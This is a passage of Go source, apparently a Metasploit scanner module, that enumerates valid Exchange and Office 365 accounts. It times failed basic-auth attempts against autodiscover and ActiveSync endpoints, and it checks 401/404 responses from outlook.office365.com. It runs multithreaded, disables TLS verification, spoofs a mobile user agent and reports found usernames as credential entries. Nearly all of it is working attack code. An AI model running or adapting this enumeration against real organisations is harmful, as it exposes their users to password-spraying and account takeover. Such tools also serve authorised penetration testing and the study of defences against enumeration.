module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated")
return
}
var validUsers []string
if email != "" {
validUsers = o365enum([]string{email}, threads)
}
if emailFile != "" {
validUsers = o365enum(importUserList(emailFile), threads)
}
reportValidUsers(host, validUsers)
}
func importUserList(tempname string) []string {
userFileBytes, err := ioutil.ReadFile(tempname)
if err != nil {
module.LogError(err.Error())
}
var userFileString = string(userFileBytes)
userArray := strings.Split(userFileString, "\n")
//Delete last unnecessary newline inserted into this slice
userArray = userArray[:len(userArray)-1]
return userArray
}
func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018978"
internaldomain := msmail.HarvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if msmail.WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if msmail.WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if msmail.WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return []string{}
}
var validusers []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for user := range queue {
startTime := time.Now()
webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
elapsedTime := time.Since(startTime)
if float64(elapsedTime) < float64(avgResponse)*0.77 {
mux.Lock()
module.LogInfo("[+] " + user + " - " + string(elapsedTime))
validusers = append(validusers, user)
mux.Unlock()
} else {
mux.Lock()
module.LogInfo("[-] " + user + " - " + string(elapsedTime))
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(userlist); i++ {
queue <- userlist[i]
}
close(queue)
wg.Wait()
return validusers
}
func basicAuthAvgTime(host string) time.Duration {
internaldomain := msmail.HarvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if msmail.WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if msmail.WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if msmail.WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return -1
}
//We are determining sample auth response time for invalid users, the password used is irrelevant.
pass := "Summer201823904"
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
module.LogInfo("Collecting sample auth times...")
var sliceOfTimes []float64
var medianTime float64
usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
for i := 0; i < len(usernamelist)-1; i++ {
startTime := time.Now()
webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
elapsedTime := time.Since(startTime)
if elapsedTime > time.Second*15 {
module.LogInfo("Response taking longer than 15 seconds, setting time:")
module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime)))
return time.Duration(elapsedTime)
}
if i != 0 {
module.LogInfo(elapsedTime.String())
sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
}
}
sort.Float64s(sliceOfTimes)
if len(sliceOfTimes)%2 == 0 {
positionOne := len(sliceOfTimes)/2 - 1
positionTwo := len(sliceOfTimes) / 2
medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
} else if len(sliceOfTimes)%2 != 0 {
position := len(sliceOfTimes)/2 - 1
medianTime = sliceOfTimes[position]
} else {
module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
}
module.LogInfo("Avg Response: " + string(time.Duration(medianTime)))
return time.Duration(medianTime)
}
func o365enum(emaillist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
//limit := 100
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018876"
URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync"
var validemails []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for email := range queue {
responseCode := webRequestBasicAuth(URI, email, pass, tr)
if strings.Contains(email, "@") && responseCode == 401 {
mux.Lock()
module.LogInfo("[+] " + email + " - 401")
validemails = append(validemails, email)
mux.Unlock()
} else if strings.Contains(email, "@") && responseCode == 404 {
mux.Lock()
module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode))
mux.Unlock()
} else {
mux.Lock()
module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode))
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(emaillist); i++ {
queue <- emaillist[i]
}
close(queue)
wg.Wait()
return validemails
}
func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int {
timeout := time.Duration(45 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
req.SetBasicAuth(user, pass)
resp, err := client.Do(req)
if err != nil {
module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user))
module.LogInfo("One of your requests has taken longer than 45 seconds to respond.")
module.LogInfo("Consider lowering amount of threads used for enumeration.")
module.LogError(err.Error())
}
return resp.StatusCode
}
func reportValidUsers(ip string, validUsers []string) {
port := "443"
service := "owa"
protocol := "tcp"
for _, user := range validUsers {
opts := map[string]string{
"port": port,
"service_name": service,
"address": ip,
"protocol": protocol,
"fullname": "auxiliary/scanner/msmail/msmail_enum",
}
module.ReportCredentialLogin(user,"", opts)
}
}